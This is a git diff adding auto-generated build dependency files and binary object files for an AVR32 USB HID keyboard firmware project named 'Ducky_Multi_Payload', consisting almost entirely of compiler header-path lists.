new file mode 100644 index 0000000..7d11030 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/storage/ctrl_access/ctrl_access.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.d new file mode 100644 index 0000000..108e944 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.d @@ -0,0 +1,204 @@ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.d \ + src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.o: \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c \ + ../src/config/conf_usb.h ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 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files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 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5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h ../src/main.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h \ + ../src/asf/common/services/usb/usb_protocol.h \ + ../src/asf/common/services/usb/usb_atmel.h \ + ../src/asf/common/services/usb/class/hid/usb_protocol_hid.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/usb/udc/udi.h \ + ../src/asf/common/services/usb/udc/udd.h \ + ../src/asf/common/services/usb/udc/udc_desc.h \ + ../src/asf/common/services/usb/udc/udc.h \ + ../src/asf/common/services/usb/udc/udd.h \ + ../src/asf/common/services/usb/class/hid/device/udi_hid.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ 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5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/main.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h: + +../src/asf/common/services/usb/usb_protocol.h: + +../src/asf/common/services/usb/usb_atmel.h: + +../src/asf/common/services/usb/class/hid/usb_protocol_hid.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udd.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/udc/udc.h: + +../src/asf/common/services/usb/udc/udd.h: + +../src/asf/common/services/usb/class/hid/device/udi_hid.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.o new file mode 100644 index 0000000..ae5c94a Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.d new file mode 100644 index 0000000..07769cf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.d @@ -0,0 +1,192 @@ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.d \ + src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o: \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c \ + ../src/config/conf_usb.h ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ 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5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h ../src/main.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h \ + ../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h \ + ../src/asf/common/services/usb/usb_protocol.h \ + ../src/asf/common/services/usb/usb_atmel.h \ + ../src/asf/common/services/usb/class/hid/usb_protocol_hid.h \ + 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5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/main.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_conf.h: + +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h: + +../src/asf/common/services/usb/usb_protocol.h: + +../src/asf/common/services/usb/usb_atmel.h: + +../src/asf/common/services/usb/class/hid/usb_protocol_hid.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udi.h: + +../src/asf/common/services/usb/udc/udd.h: + +../src/asf/common/services/usb/udc/udc_desc.h: + +../src/asf/common/services/usb/class/hid/device/udi_hid.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o new file mode 100644 index 0000000..d56cb8e Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/udi_hid.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/udi_hid.d new file mode 100644 index 0000000..8a0676b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/common/services/usb/class/hid/device/udi_hid.d @@ -0,0 +1,198 @@ +src/asf/common/services/usb/class/hid/device/udi_hid.d \ + src/asf/common/services/usb/class/hid/device/udi_hid.o: \ + ../src/asf/common/services/usb/class/hid/device/udi_hid.c \ + ../src/config/conf_usb.h ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 